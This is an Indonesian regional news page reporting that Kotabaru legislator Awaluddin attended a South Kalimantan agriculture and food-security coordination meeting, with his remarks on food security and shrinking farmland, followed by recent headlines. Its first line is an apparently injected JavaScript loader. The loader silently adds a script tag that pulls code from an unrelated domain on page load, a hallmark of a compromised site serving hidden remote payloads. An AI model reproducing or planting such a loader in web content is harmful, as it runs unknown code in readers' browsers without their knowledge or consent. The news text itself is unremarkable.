(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Awaluddin Hadiri Rakor Pertanian Se-Kalsel


KANALKALIMANTAN.COM, KOTABARU – Rapat koordinasi yang diselenggarakan oleh Dinas Pertanian dan Ketahanan Pangan Provinsi Kalimantan Selatan dihadiri 13 kabupaten kota se-Kalsel, bertempat di Oproom sekretariat Pemda Kotabaru, Jumat (21/7/2023).

Kegiatan itu juga dihadiri oleh Kepala Dinas Pertanian dan Ketahanan Pangan Provinsi Kalsel, H Syamsir Rahman, Sekdakab Kotabaru, Kepala Dinas Ketahanan Pangan dan Pertanian Kotabaru Saperiani dan pihak lainnya.

Salah satu yang ikut juga berhadir adalah anggota DPRD Kotabaru, Awaluddin, yang mengucapkan terimakasih serta menyebut baik diselenggarakannya kegiatan tersebut.

Dia mengatakan, rapat yang terselenggara diharapkan dapat menjalin komunikasi yang lebih intensif dan dapat merumuskan kebijakan teknis yang strategis sesuai tugas pokok dan fungsi dibidang pertanian dan pangan, pelaksanaan kebijakan bidang pertanian dan pangan, pelaksanaan evaluasi dan pelaporan dibidang pertanian dan pangan dan pelaksanaan administrasi dibidang pertanian dan pangan.

Baca juga: Jelang Pemilu Serentak, Ini Pesan Kapolda Kalsel

“DPRD kabupaten Kotabaru memandang pentingnya kegiatan ini. Hal ini karena Dinas Pertanian dan Ketahanan Pangan merupakan mitra kerja bagi komisi II DPRD yang merupakan lembaga pemerintah yang berhadapan langsung dengan hajat hidup masyarakat dalam menjamin ketersediaan pangan,” tuturnya.

Dikatakannya, ketahanan pangan adalah tersedianya bahan pangan yang cukup sehat, beragam dan bergizi untuk setiap orang atau keluarga.

Di dalam UU nomor 18 tahun 2012 tentang pangan mejelaskan bahwa, ketahanan pangan adalah kondisi terpenuhinya pangan bagi negara sampai dengan perorangan yang tercermin dari tersedianya pangan yang cukup baik jumlah maupun mutunya,aman, beragam, bergizi, merata dan terjangkau serta tidak bertentangan dengan agama, keyakinan dan budaya masyarakat, untuk dapat hidup sehat, aktif dan produktif secara berkelanjutan.

”Tentu kita semua menyadari, problematika pangan saat ini adalah jumlah penduduk terus bertambah sementara kebutuhan akan jumlah dan kualitas pangan terus berkembang, disisi lain areal pertanian semakin menciut dengan adanya alih fungsi lahan untuk pembangunan,” jelas dia.

Baca juga: Lansia Perempuan Diduga Disuruh Ngemis di Banjarmasin, Warga Geram Marahi Penjemput

Sementara pembukaan perluasan dan perluasan lahan pertanian harus memperhatikan banyak aspek, diantaranya masalah lingkungan dan tergantunnya ekosistem.

“Sekali lagi kami berharap, dalam rapat koordinasi dapat memberikan solusi terbaik dalam menjamin ketersediaan dan akses pangan bagi masyarakat Kalimantan Selatan,” pungkas dia. (Kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani


Risa

Recent Posts

Pemprov Kalsel Segera Bangun Jalan Penghubung Nagara – Margasari

KANALKALIMANTAN.COM, KANDANGAN - Kepala Dinas Pekerjaan Umum dan Penataan Ruang Provinsi Kalimantan Selatan, Ahmad Solhan… Read More

19 menit ago

Kaji Tiru Raperda KLA Pansus III DPRD Kapuas ke DP3APPKB Surabaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas, Panitia khusus (Pansus) III… Read More

2 jam ago

Berantas Narkoba Lewat Medsos, BNN Banjarbaru Bekali Penggiat P4GN Kelurahan

KANALKALIMANTAN.COM, BANJARBARU - Pencegahan pemberantasan narkotika di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) terus digencarkan… Read More

2 jam ago

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

14 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

14 jam ago

This website uses cookies.